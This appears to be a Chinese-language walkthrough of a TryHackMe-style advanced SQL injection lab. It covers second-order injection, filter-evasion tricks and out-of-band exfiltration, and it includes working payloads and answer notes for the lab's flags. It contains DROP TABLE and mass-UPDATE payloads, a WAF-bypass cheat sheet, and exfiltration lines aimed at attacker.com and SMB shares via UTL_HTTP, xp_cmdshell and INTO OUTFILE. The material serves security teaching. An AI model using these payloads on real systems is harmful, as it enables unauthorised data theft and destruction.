Introduction

SQL 注入仍然是 Web 应用程序最严重和最普遍的安全漏洞之一。当攻击者利用 Web 应用程序执行任意 SQL 查询的能力时,就会出现这种威胁,从而导致未经授权访问数据库、数据泄露、数据操纵甚至完全控制应用程序。在这个房间里,我们将了解高级 SQL 注入技术,全面了解复杂的攻击媒介和缓解策略。

在本房间结束时,您将对各种 SQL 注入技术有更深入的了解。这将使您具备在多种情况下识别和利用这些漏洞的技能,并实施强大的防御措施来保护您的应用程序。

学习目标

通过本课程,您将全面了解以下关键概念:

  • 二阶 SQL 注入
  • 过滤规避
  • 带外 SQL 注入
  • 自动化技术
  • 缓解措施

学习前提条件

建议在开始本课程之前了解以下主题:

在深入研究之前,清楚了解目标机器的数据库版本和操作系统详细信息至关重要。为此,我们可以利用强大的网络扫描工具 Nmap 彻底扫描 10.10.20.127。此扫描将提供有关开放端口、正在运行的服务和目标机器操作系统的宝贵见解。对于那些不熟悉 Nmap 的人,我们建议查看我们全面的 Nmap 房间,以快速有效地使用此工具。以下是扫描机器后的 Nmap 输出:

​ Terminal

   thm@machine$ nmap -A -T4 -p 3306,3389,445,139,135 10.10.20.127

Starting Nmap 7.60 ( https://nmap.org ) at 2024-05-25 12:03 BST
Nmap scan report for 10.10.20.127
Host is up (0.00034s latency).

PORT STATE SERVICE VERSION
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SQLi
| Not valid before: 2024-05-23T04:08:44
|_Not valid after: 2024-11-22T04:08:44
|_ssl-date: 2024-05-25T11:03:33+00:00; 0s from scanner time.
MAC Address: 02:87:BD:21:12:33 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.67 seconds

该机器正在 Windows 上使用 MySQL 服务。

让我们开始吧!

Quick Recap

在上一个 SQL 注入室中,我们探讨了 SQL 注入的基础知识,了解了攻击者如何利用 Web 应用程序中的漏洞来操纵 SQL 查询并访问未经授权的数据。我们介绍了基本技术,例如基于错误和基于联合的 SQL 注入,以及盲 SQL 注入方法,例如基于布尔和基于时间的攻击。以下是本室的简要回顾,涵盖了 SQL 注入的核心基本类型。

types of SQL injection

带内 SQL 注入

此技术被认为是最常见和最直接的 SQL 注入攻击类型。在这种技术中,攻击者使用相同的通信渠道进行数据注入和检索。带内 SQL 注入有两种主要类型:

  • 基于错误的 SQL 注入:攻击者操纵 SQL 查询以从数据库生成错误消息。这些错误消息通常包含有关数据库结构的信息,可用于进一步利用数据库。示例:SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))。如果错误消息中返回数据库版本,则会显示有关数据库的信息。
  • 基于联合的 SQL 注入:攻击者使用 UNION SQL 运算符将两个或多个 SELECT 语句的结果合并为一个结果,从而从其他表中检索数据。示例:SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin

推理(盲)SQL 注入

推理 SQL 注入不会直接通过 Web 应用程序传输数据,因此利用它更具挑战性。相反,攻击者会发送有效载荷并观察应用程序的行为和响应时间,以推断有关数据库的信息。推理 SQL 注入主要有两种类型:

  • 基于布尔的盲 SQL 注入:攻击者向数据库发送 SQL 查询,迫使应用程序根据真或假条件返回不同的结果。通过分析应用程序的响应,攻击者可以推断有效载荷是真还是假。示例:SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)。如果页面内容或行为根据条件发生变化,攻击者可以推断结果。
  • 基于时间的盲 SQL 注入:攻击者向数据库发送 SQL 查询,如果条件为真,则将响应延迟指定的时间。通过测量响应时间,攻击者可以推断条件是真还是假。例如,SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--。如果响应延迟 5 秒,攻击者可以推断条件为真。
    带外 SQL 注入

当攻击者无法使用相同的通道发起攻击并收集结果或服务器响应不稳定时,使用带外 SQL 注入。此技术依赖于数据库服务器发出带外请求(例如 HTTP 或 DNS)以将查询结果发送给攻击者。带外 SQL 注入通常使用 HTTP 将查询结果发送到攻击者的服务器。我们将在本房间详细讨论它。

每种类型的 SQL 注入技术都有其优点和挑战。了解这些技术对于识别和缓解 Web 应用程序中的 SQL 注入漏洞至关重要。带内 SQL 注入易于利用和检测,但噪声较大,容易被监控。推理(盲)SQL 注入更难利用,需要多个请求,但可以在没有详细错误消息时使用。带外 SQL 注入不太常见,但非常有效,需要外部服务器控制,并依赖于数据库发出带外请求的能力。通过掌握这些技术,渗透测试人员可以有效地识别和利用 SQL 注入漏洞,帮助组织保护其 Web 应用程序免受这些严重威胁。

Second-Order SQL Injection

二阶 SQL 注入,也称为存储型 SQL 注入,利用用户提供的输入被保存并随后在应用程序的不同部分使用(可能经过一些初始处理)的漏洞。这种类型的攻击更加隐蔽,因为恶意 SQL 代码不需要立即导致 SQL 语法错误或其他明显问题,因此更难通过标准输入验证技术检测到。注入发生在第二次使用数据时,即在 SQL 命令中检索和使用数据时,因此得名“二阶”。

second order sql injection workflow diagram

Impact

二阶 SQL 注入的危险在于它能够绕过典型的前端防御,如基本输入验证或清理,这些防御仅在初始数据输入时发生。由于有效载荷在第一步不会造成中断,因此可能会被忽略,直到为时已晚,从而使攻击特别隐蔽。

示例
我们将使用一个图书评论应用程序。该应用程序允许用户通过网页 (add.php) 添加新书。系统会提示用户提供他们希望添加到数据库的图书的详细信息。您可以通过 http://10.10.20.127/second/add.php. 访问该应用程序。收集的数据包括 SSNbook_nameauthor。让我们考虑添加一本具有以下详细信息的图书:SSN:UI00012图书名称:PHP 简介作者:Tim。该信息通过add.php页面上的表单输入,提交后存储在BookStore数据库中,如下所示:

adding a new book in database

我们知道,二阶 SQL 注入非常难以识别。与利用实时处理漏洞的传统 SQL 注入不同,二阶 SQL 注入发生在先前存储在数据库中的数据随后用于 SQL 查询时。检测此漏洞通常需要了解数据如何流经应用程序并被重用,因此需要深入了解后端操作。

代码分析

考虑我们应用程序中用于添加书籍的 PHP 代码片段:

 if (isset($_POST['submit'])) {

$ssn = $conn->real_escape_string($_POST['ssn']);

$book_name = $conn->real_escape_string($_POST['book_name']);

$author = $conn->real_escape_string($_POST['author']);

$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";

if ($conn->query($sql) === TRUE) {

echo "<p class='text-green-500'>New book added successfully</p>";

} else {

echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";

}

}

代码使用 real_escape_string() 方法转义输入中的特殊字符。虽然此方法可以通过转义单引号和其他 SQL 元字符来减轻即时 SQL 注入的一些风险,但它不能保护应用程序免受二阶 SQLi 攻击。这里的关键问题是缺乏参数化查询,这对于防止 SQL 注入攻击至关重要。当使用 real_escape_string() 方法插入数据时,它可能包含不会造成直接损害但可以在后续检索和在另一个 SQL 查询中使用时激活的有效负载字符。例如,插入一本名为 Intro to PHP'; DROP TABLE books;-- 的书可能不会影响 INSERT 操作,但如果书名稍后在另一个 SQL 上下文中使用而没有得到适当的处理,则可能会产生严重影响。

让我们尝试添加另一本带有 SSN test 的书。

total books in the database

现在,SSN“test”已成功插入数据库。该应用程序包含一个通过“update.php”等界面更新图书详细信息的功能。此界面可能会在可编辑表单字段中显示现有图书详细信息,这些详细信息基于先前存储的数据进行检索,然后根据用户输入进行更新。渗透测试人员将调查应用程序是否重用了先前存储且可能被污染的数据(例如“book_name”)。然后,他将构建 SQL 查询以使用这些可能被污染的数据来更新记录,而无需进行适当的清理或参数化。通过操纵更新功能,测试人员可以查看在插入阶段添加的恶意负载是否在更新操作期间执行。如果应用程序在此阶段未能采用适当的安全措施,则可能会激活先前注入的负载“’; DROP TABLE books; –”,从而导致执行有害的 SQL 命令(例如删除表)。您可以访问页面“http://10.10.20.127/second/update.php”来更新任何图书详细信息。

update book content dashboard

现在,让我们回顾一下 update.php 代码。该 PHP 脚本允许用户在 BookStore 数据库中更新图书详细信息。通过查询结构,我们将分析渗透测试人员可能寻找 SQL 注入漏洞的典型场景,特别关注如何在 SQL 查询中处理和利用用户输入。

 if ( isset($_POST['update'])) {
$unique_id = $_POST['update'];
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];

$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
..
...

该脚本首先检查请求方法是否为 POST,以及是否按下了更新按钮,这表明用户打算更新图书的详细信息。 随后,脚本直接从 POST 数据中检索用户输入:

 $unique_id = $_POST['update'];
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];

然后使用这些变量(ssn、new_book_name、new_author)构建 SQL 查询,以更新数据库中指定书籍的详细信息:

$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";

该脚本使用“multi_query”执行多个查询。它还将日志插入日志表中以供分析。

准备有效负载

我们知道我们可以根据书籍的“ssn”添加或修改书籍详细信息。更新书籍的正常查询可能如下所示:

UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123'; 

但是,如果攻击者插入特制的“ssn”值,则 SQL 命令可能会被操纵。例如,如果攻击者使用“ssn”值:

12345'; UPDATE books SET book_name = 'Hacked'; --

当在更新查询中使用此值时,它会在 12345 之后有效地结束初始更新命令并启动新命令。这会将 books 表中所有条目的 book_name 更改为 Hacked

让我们这样做

  • 初始有效负载插入:添加一本新书,有效负载为 12345';UPDATE books SET book_name = 'Hacked'; -- 插入为 ssn。分号 (;) 将用于终止当前 SQL 语句。

total books in database with injection payload

  • 恶意 SQL 执行:之后,当管理员或任何其他用户访问 URL http://10.10.20.127/second/update.php 并更新书籍时,插入的有效负载会突破预期的 SQL 命令结构并注入一条新命令,该命令会更新 books 表中的所有记录。让我们访问页面 http://10.10.20.127/second/update.php page,将书籍名称更新为任何内容,然后单击 更新 按钮。代码将在后端执行以下语句。
UPDATE books SET book_name = 'Testing', author = 'Hacker' WHERE ssn = '12345'; Update books set book_name ="hacked"; --'; INSERT INTO logs (page) VALUES ('update.php');
  • 注释掉其余部分:双破折号(--)是 SQL 注释符号。-- 后面的任何内容都将被 SQL 服务器忽略,从而有效地消除了原始 SQL 语句中可能导致错误或暴露攻击的任何剩余部分。执行上述查询后,它会将所有书籍的名称更改为 hacked,如下所示:

state of database after executing payload

在这个任务中,我们通过一个易受攻击的书评 Web 应用程序探索了二阶 SQL 注入概念。作为渗透测试人员,检查用户输入如何存储以及随后在 SQL 查询中使用至关重要。这涉及验证所有形式的数据处理是否能够抵御此类漏洞,强调彻底测试和了解安全实践以防范注入威胁的重要性。

将所有书籍的标题更新为“compromised”后,标志值是多少?

添加一本书,ssn为

1'; UPDATE books SET book_name = 'compromised'; --

然后访问update.php,更改这本书的任意内容

一旦从数据库中删除表 hello,标志值是什么?

添加一本书,ssn为

2';DROP TABLE hello;-- -

同理在update.php中更新

Filter Evasion Techniques

在高级 SQL 注入攻击中,规避过滤器对于成功利用漏洞至关重要。现代 Web 应用程序通常会实施防御措施来净化或阻止常见的攻击模式,从而使简单的 SQL 注入尝试变得无效。作为渗透测试人员,我们必须适应使用更复杂的技术来绕过这些过滤器。本节将介绍此类方法,包括字符编码无引号 SQL 注入以及处理无法使用空格的情况。通过理解和应用这些技术,我们可以有效地渗透具有严格输入验证和安全控制的 Web 应用程序。

字符编码
字符编码涉及将 SQL 注入负载中的特殊字符转换为可能绕过输入过滤器的编码形式。

-URL 编码:URL 编码是一种常用方法,其中字符使用百分号 (%) 后跟十六进制的 ASCII 值来表示。例如,负载“’ OR 1=1–”可以编码为“%27%20OR%201%3D1–”。这种编码可以帮助输入通过 Web 应用程序过滤器并由数据库解码,数据库在初始处理期间可能不会将其识别为恶意的。

  • 十六进制编码:十六进制编码是使用十六进制值构造 SQL 查询的另一种有效技术。例如,查询 SELECT * FROM users WHERE name = 'admin' 可以编码为 SELECT * FROM users WHERE name = 0x61646d696e。通过将字符表示为十六进制数,攻击者可以绕过在处理输入之前不解码这些值的过滤器。
  • Unicode 编码:Unicode 编码使用 Unicode 转义序列表示字符。例如,字符串 admin 可以编码为 \u0061\u0064\u006d\u0069\u006e。此方法可以绕过仅检查特定 ASCII 字符的过滤器,因为数据库将正确处理编码的输入。

示例

在此示例中,我们将探讨开发人员如何通过从用户输入中删除特定关键字和字符来实现基本过滤,以防止 SQL 注入攻击。但是,我们还将看到攻击者如何使用 URL 编码等字符编码技术绕过这些防御措施。

注意:在接下来的练习中,我们将使用与上一个不同的数据库。您可以通过 http://10.10.20.127/encoding/ 访问页面。

以下是处理搜索功能的 PHP 代码 (search_books.php):

 $book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
...
..

以下是 index.html 页面中的 Javascript 代码,提供用于搜索图书的用户界面:

 function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
xhr.onload = function() {
if (this.status === 200) {
document.getElementById('results').innerHTML = this.responseText;

在上面的例子中,开发人员通过删除特定的 SQL 关键字(例如“OR”、“AND”、“UNION”和“SELECT”)实现了基本的防御机制,以防止 SQL 注入攻击。过滤使用“str_replace”函数,该函数在将这些关键字包含在 SQL 查询之前从用户输入中删除这些关键字。这种过滤方法旨在使攻击者更难注入恶意 SQL 命令,因为这些关键字对于许多 SQL 注入负载至关重要。

准备负载

让我们逐步介绍准备 SQL 注入负载的过程,展示 URL 编码如何绕过基本防御。首先,让我们看看包含特殊字符或 SQL 关键字的正常输入会发生什么。当我们搜索名为“PHP 简介”的书时,我们得到了成功的结果,如下所示:

search for a book dashboard

但是如果我们尝试通过添加诸如“”,“;”等特殊字符来中断查询会怎样?我们将得到以下输出:

error result while searching a book

SQL 查询无法正确执行,这可能意味着存在 SQL 注入的可能性。让我们尝试注入有效负载“Intro to PHP' OR 1=1”。我们将得到以下输出:

error result with injection payload

那么,这里发生了什么?当此输入传递给 PHP 脚本时,str_replace 函数将删除 OR 关键字和单引号,从而产生不会执行预期 SQL 注入的已清理输入。此输入无效,因为过滤会删除 SQL 注入成功所需的关键组件。

要绕过过滤,我们需要使用 URL 编码对输入进行编码,URL 编码以过滤器无法识别和删除的方式表示特殊字符和关键字。以下是示例有效负载 1%27%20||%201=1%20--+

  • %27 是单引号 (‘) 的 URL 编码。
  • %20 是空格 ( ) 的 URL 编码。
  • || 表示 SQL OR 运算符。
  • %3D 是等号 (=) 的 URL 编码。
  • %2D%2D 是 – 的 URL 编码,它在 SQL 中开始注释。

在上述有效负载中,1' 会关闭 SQL 查询中的当前字符串或值。例如,如果查询正在寻找与 1 匹配的书名,则添加 ' 会关闭字符串,使输入的其余部分成为 SQL 语句的一部分。|| 1=1 部分使用 SQL OR 运算符添加始终为真的条件。此条件确保查询对所有记录都返回真值,从而绕过原本应该限制结果的原始条件。类似地,-- 会在 SQL 中启动注释,导致数据库忽略查询的其余部分。这对于终止可能导致语法错误或不需要的条件的查询的任何剩余部分很有用。为了确保正确的间距,+ 在注释后添加一个空格,确保注释正确终止并且没有语法问题。

从控制台中,我们可以看到单击搜索按钮会对 search_book.php 进行 AJAX 调用。

network tab in console

让我们直接在 PHP 页面上使用有效负载,以避免客户端进行不必要的调整/验证。让我们使用标准有效负载“Intro to PHP’ OR 1=1”访问 URL [http://10.10.20.127/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20OR%201=1](http://10.10.20.127/encoding/search_books.php?book_name=Intro to PHP’ OR 1=1),您将看到一个错误。

testing injection on the API call

现在,使用 Cyber Chef 对有效负载 Intro to PHP' || 1=1 --+ 进行 URL 编码,并尝试使用更新的有效负载访问 URL。我们将获得以下输出,转储完整的信息:

injection with correct payload

有效载荷之所以有效,是因为 URL 编码以绕过过滤机制的方式表示特殊字符和 SQL 关键字。当服务器解码 URL 编码的输入时,它会恢复特殊字符和关键字,从而使 SQL 注入得以成功执行。使用 URL 编码,攻击者可以制作绕过旨在阻止 SQL 注入的基本输入过滤机制的有效载荷。这表明使用更强大的防御措施(例如参数化查询和准备好的语句)的重要性,无论输入的编码如何,它们都可以防止 SQL 注入攻击。

url编码然后传入即可(+号是空格url编码的结果):

Intro to PHP' || 1=1 -- -

Filter Evasion Techniques (continued)

无引号 SQL 注入

当应用程序过滤单引号、双引号或转义符时,就会使用无引号 SQL 注入技术。

  • 使用数值:一种方法是使用数值或其他不需要引号的数据类型。例如,攻击者可以在不需要引号的上下文中使用 OR 1=1,而不是注入 ' OR '1'='1。此技术可以绕过专门寻找转义符或删除引号的过滤器,从而允许注入继续进行。
  • 使用 SQL 注释:另一种方法是使用 SQL 注释来终止查询的其余部分。例如,输入 admin'-- 可以转换为 admin--,其中 -- 表示 SQL 中注释的开始,从而有效地忽略 SQL 语句的其余部分。这可以帮助绕过过滤器并防止语法错误。
  • 使用 CONCAT() 函数:攻击者可以使用 CONCAT() 等 SQL 函数来构造不带引号的字符串。例如,CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) 构造字符串 admin。CONCAT() 函数和类似方法允许攻击者在不直接使用引号的情况下构建字符串,从而使过滤器更难检测和阻止有效载荷。

不允许使用空格

当不允许使用空格或将空格过滤掉时,可以使用各种技术来绕过此限制。

  • 注释替换空格:一种常用方法是使用 SQL 注释 (/**/) 替换空格。例如,攻击者可以使用 SELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin',而不是 SELECT * FROM users WHERE name = 'admin'。SQL 注释可以替换查询中的空格,使有效载荷能够绕过删除或阻止空格的过滤器。
  • 制表符或换行符:另一种方法是使用制表符(\t)或换行符(\n)代替空格。某些过滤器可能允许这些字符,从而使攻击者能够构造类似 SELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin' 的查询。此技术可以绕过专门查找空格的过滤器。
  • 替代字符:一种有效的方法是使用替代 URL 编码字符来表示不同类型的空格,例如 %09(水平制表符)、%0A(换行符)、%0C(换页符)、%0D(回车符)和 %A0(不间断空格)。这些字符可以替换有效载荷中的空格。

实际示例

在此场景中,我们有一个端点 http://10.10.221.70/space/search_users.php?username=?,它根据提供的用户名返回用户详细信息。开发人员已实现过滤器来阻止常见的 SQL 注入关键字(例如 OR、AND 和空格 (%20)),以防止 SQL 注入攻击。

以下是开发人员添加的 PHP 过滤。

 $special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");
$username = str_replace($special_chars, '', $username);
$sql = "SELECT * FROM user WHERE username = '$username'";

如果我们在端点上使用标准有效载荷“1%27%20 ||%201 = 1%20–+”,我们可以看到即使通过URL编码,它也不起作用。

injection with incorrect payload

SQL 查询显示代码省略了空格。为了绕过这些保护,我们可以使用表示不同类型空格或换行符的 URL 编码字符,例如 %09(水平制表符)、%0A(换行符)。这些字符可以替换空格,并且仍能被 SQL 解析器正确解释。

原始有效负载 1' OR 1=1 -- 可以修改为使用换行符代替空格,从而得到有效负载 1'%0A||%0A1=1%0A--%27+。此有效负载构造与 1' OR 1=1 -- 相同的逻辑条件,但使用换行符绕过空格过滤器。

SQL 解析器将换行符解释为空格,将有效负载转换为 1' OR 1=1 --。因此,查询将从 SELECT * FROM users WHERE username = '$username' 解释为 SELECT * FROM users WHERE username = '1' OR 1=1 --

现在,如果我们通过更新的有效负载访问端点,我们就可以查看所有详细信息。

injection with correct payload

总而言之,重要的是要明白,在处理旨在防止 SQL 注入攻击的过滤器或 Web 应用程序防火墙 (WAF) 时,没有一种技术可以保证绕过。但是,以下是一些可用于规避这些保护的技巧和窍门。下表重点介绍了可用于尝试绕过过滤器和 WAF 的各种技术:

Scenario Description Example
SELECT 等关键字被禁止 通常可以通过改变 SQL 关键字的大小写或添加内联注释来绕过它们 SElEcT * FrOm users or SE/**/LECT * FROM/**/users
Spaces are banned 使用替代空格字符或注释来代替空格可以帮助绕过过滤器。 SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users
Logical operators like AND, OR are banned 使用替代逻辑运算符或连接来绕过关键字过滤器。 username = ‘admin’ && password = ‘password’ or username = ‘admin’/**/||/**/1=1 –
Common keywords like UNION, SELECT are banned 使用等效表示形式(例如十六进制或 Unicode 编码)来绕过过滤器。 SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)
Specific keywords like OR, AND, SELECT, UNION are banned 使用混淆技术,通过将字符与字符串函数或注释相结合来伪装 SQL 关键字。 SElECT * FROM users WHERE username = CONCAT(‘a’,’d’,’m’,’i’,’n’) or SElEcT/**/username/**/FROM/**/users

在实际环境中,您应用的查询和过滤关键字的可见性并非直接可能。作为一名渗透测试人员,重要的是要了解 SQL 注入测试通常涉及反复试验的方法,需要耐心和毅力。每个环境可能都有独特的过滤器和保护措施,因此有必要调整和尝试不同的技术来找到成功的注入向量。

Out-of-band SQL Injection

带外 (OOB) SQL 注入是一种攻击技术,当直接或传统方法无效时,渗透测试人员/红队人员会使用该技术窃取数据或执行恶意操作。与带内 SQL 注入不同,带内 SQL 注入攻击者依靠同一通道进行攻击和数据检索,而带外 SQL 注入使用单独的通道发送负载和接收响应。带外技术利用数据库服务器可能访问的 HTTP 请求、DNS 查询、SMB 协议或其他网络协议等功能,使攻击者能够绕过防火墙、入侵检测系统和其他安全措施。

process flow of OOB injection

带外 SQL 注入的主要优势之一是其隐蔽性和可靠性。通过使用不同的通信渠道,攻击者可以最大限度地降低被发现的风险,并与受感染系统保持持久连接。例如,攻击者可能会向攻击者控制的恶意域注入SQL 负载,触发数据库服务器发出 DNS 请求。然后可以使用响应来提取敏感数据,而不会提醒监控直接数据库交互的安全机制。这种方法允许攻击者即使在攻击者与目标之间的直接连接受到限制或审查的复杂网络环境中也能利用漏洞。

为什么使用 OOB

在直接响应受到安全措施的净化或限制的情况下,OOB 通道使攻击者能够在没有服务器立即反馈的情况下窃取数据。例如,存储过程输出编码应用程序级约束等安全机制可以阻止直接响应,使传统的 SQL 注入攻击无效。带外技术(例如使用 DNS 或 HTTP 请求)允许将数据发送到攻击者控制的外部服务器,从而绕过这些限制。

此外,入侵检测系统 (IDS)Web 应用程序防火墙 (WAF) 经常监控和记录 SQL 查询响应以查找可疑活动,阻止来自潜在恶意查询的直接响应。通过利用 OOB 通道,攻击者可以使用审查较少的网络协议(如 DNS 或 SMB)传输数据来避免检测。这在攻击者与数据库服务器之间直接连接有限的网络环境中特别有用,例如当服务器位于防火墙后面或位于不同的网络段中时。

不同数据库中的技术

带外 SQL 注入攻击利用通过精心设计的查询写入另一个通信通道的方法。当与数据库的直接交互受到限制时,此技术对于窃取数据或执行恶意操作非常有效。数据库中有多个命令可能允许数据泄露,但以下是各种数据库系统中最常用的命令列表:

MySQL 和 MariaDB

在 MySQL 或 MariaDB 中,可以使用 SELECT … INTO OUTFILEload_file 命令实现带外 SQL 注入。此命令允许攻击者将查询结果写入服务器文件系统上的文件。例如:

SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';    

然后,攻击者可以通过数据库服务器上运行的 SMB 共享或 HTTP 服务器访问此文件,从而通过备用渠道窃取数据。

Microsoft SQL Server (MSSQL)

在 MSSQL 中,可以使用 xp_cmdshell 等功能执行带外 SQL 注入,该功能允许直接从 SQL 查询执行 shell 命令。可以利用此功能将数据写入可通过网络共享访问的文件:

EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';    

或者,可以使用 OPENROWSETBULK INSERT 与外部数据源交互,从而通过 OOB 通道促进数据泄露。

Oracle

在 Oracle 数据库中,可以使用 UTL_HTTPUTL_FILE 包执行带外 SQL 注入。例如,UTL_HTTP 包可用于发送包含敏感数据的 HTTP 请求:

 DECLARE
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;

带外技术示例

MySQL 和 MariaDB 中的带外 SQL 注入技术可以利用各种网络协议来窃取数据。主要方法包括 DNS 窃取、HTTP 请求和 SMB 共享。每种技术都可以根据 MySQL/MariaDB 环境和网络设置的功能来应用。

HTTP 请求

通过利用允许 HTTP 请求的数据库功能,攻击者可以将敏感数据直接发送到他们控制的 Web 服务器。此方法利用可以建立出站 HTTP 连接的数据库功能。虽然 MySQL 和 MariaDB 本身不支持 HTTP 请求,但如果数据库配置为允许此类操作,则可以通过外部脚本或用户定义函数 (UDF) 来完成。

首先,需要创建和安装 UDF 以支持 HTTP 请求。此设置很复杂,通常需要额外的配置。示例查询看起来像 SELECT http_post('http://attacker.com/exfiltrate',sensitive_data) FROM books;

HTTP 请求渗透可以在 Windows 和 Linux (Ubuntu) 系统上实现,具体取决于数据库对启用 HTTP 请求的外部脚本或 UDF 的支持。

DNS 渗透

攻击者可以使用 SQL 查询生成带有编码数据的 DNS 请求,并将其发送到攻击者控制的恶意 DNS 服务器。此技术绕过基于 HTTP 的监控系统并利用数据库执行 DNS 查找的能力。

如上所述,MySQL 本身不支持仅通过 SQL 命令生成 DNS 请求,攻击者可能会使用其他方式(例如自定义用户定义函数 (UDF) 或系统级脚本)来执行 DNS 查找。

SMB 渗透

SMB 渗透涉及将查询结果写入外部服务器上的 SMB 共享。此技术在 Windows 环境中特别有效,但也可以在 Linux 系统中通过正确的设置进行配置。示例查询类似于 SELECTsensitive_data INTO OUTFILE'\\\\10.10.162.175\\logs\\out.txt';

由于 Windows 本身支持 SMB/UNC 路径,因此完全支持此操作。Linux (Ubuntu):虽然直接 UNC 路径更适合 Windows,但可以使用 smbclient 等工具或通过将共享安装到本地目录来在 Linux 中安装和访问 SMB 共享。在 SQL 查询中直接使用 UNC 路径可能需要额外的设置或脚本来促进交互。

实际示例

在这个实际场景中,我们将演示攻击者如何使用带外 SQL 注入技术从易受攻击的 Web 应用程序中窃取数据。服务器端代码包含一个 SQL 注入漏洞,允许攻击者制作将查询结果写入外部 SMB 共享的有效负载。当数据库的直接响应受到限制或监控时,这很有用。

场景说明

在此场景中,我们将在 AttackBox 的 ATTACKBOX_IP\logs 处启用网络共享。此共享可通过网络访问,并允许将其他计算机的文件写入其中。您可以假设这样一种场景:当您获得一个易受攻击的系统并希望将数据转移到另一个网络共享系统时。攻击者将利用此共享从带外窃取数据。要拥有网络共享,我们将启动 AttackBox 并在终端中执行以下命令:

  • 使用 cd /opt/impacket/examples 导航到 impacket 目录
  • 输入命令 python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp 以启动共享 /tmp 目录的 SMB 服务器。
  • 您可以通过输入命令 smbclient //ATTACKBOX_IP/logs -U guest -N 来访问网络共享的内容。这样您就可以连接到网络共享,然后您可以发出命令“ls”来列出所有命令。

我们有相同的 Web 应用程序,该应用程序具有搜索功能,可以查询访问图书馆的访客。此功能的服务器端代码容易受到 SQL 注入攻击,您可以通过“http://10.10.221.70/oob/search_visitor.php?visitor_name=Tim”访问它。

response of normal query

服务器代码如下:

 $visitor_name = $_GET['visitor_name'] ?? '';

$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";

echo "<p>Generated SQL Query: $sql</p>";

// Execute multi-query
if ($conn->multi_query($sql)) {
do {
// Store first result set
if ($result = $conn->store_result()) {
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {

重要注意事项

需要注意的是,MySQL 系统变量“secure_file_priv”可能已设置。设置后,此变量包含目录路径名,MySQL 将仅允许将文件写入此指定目录。此安全措施有助于降低未经授权的文件操作的风险。

-设置 secure_file_priv 时:MySQL 将限制文件操作(例如 INTO OUTFILE)到指定目录。这意味着攻击者只能将文件写入此目录,从而限制了他们将数据泄露到任意位置的能力。

-secure_file_priv 为空时:如果“secure_file_priv”变量为空,MySQL 不会施加任何目录限制,允许将文件写入 MySQL 服务器进程可访问的任何目录。此配置带来更高的风险,因为它为攻击者提供了更大的灵活性。

攻击者通常无法直接访问以检查 secure_file_priv 变量的值。因此,他们必须依靠反复试验的方法来确定是否可以写入文件以及写入文件的位置,测试各种路径以查看文件操作是否成功。

准备有效负载

为了利用此漏洞,攻击者需要制作一个有效负载以注入“visitor_name”参数。该有效负载将被设计为执行额外的 SQL 查询,将数据库版本信息写入外部 SMB 共享。

1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

让我们分析一下上述有效载荷:

  • 1':关闭 SQL 查询中的原始字符串。
  • ;:结束第一个 SQL 语句。
  • SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';:执行新的 SQL 语句,检索数据库版本并将其写入 \ATTACKBOX_IP\logs\out.txt 处的 SMB 共享。
  • --:注释原始 SQL 查询的其余部分以防止语法错误。

要利用有效载荷,攻击者将访问在外部 SMB 共享中创建文件的 URL。

要访问该文件,请使用 ls /tmp 查看 /tmp 目录中收到的文件,如下所示:

终端

   thm@machine$ls /tmp
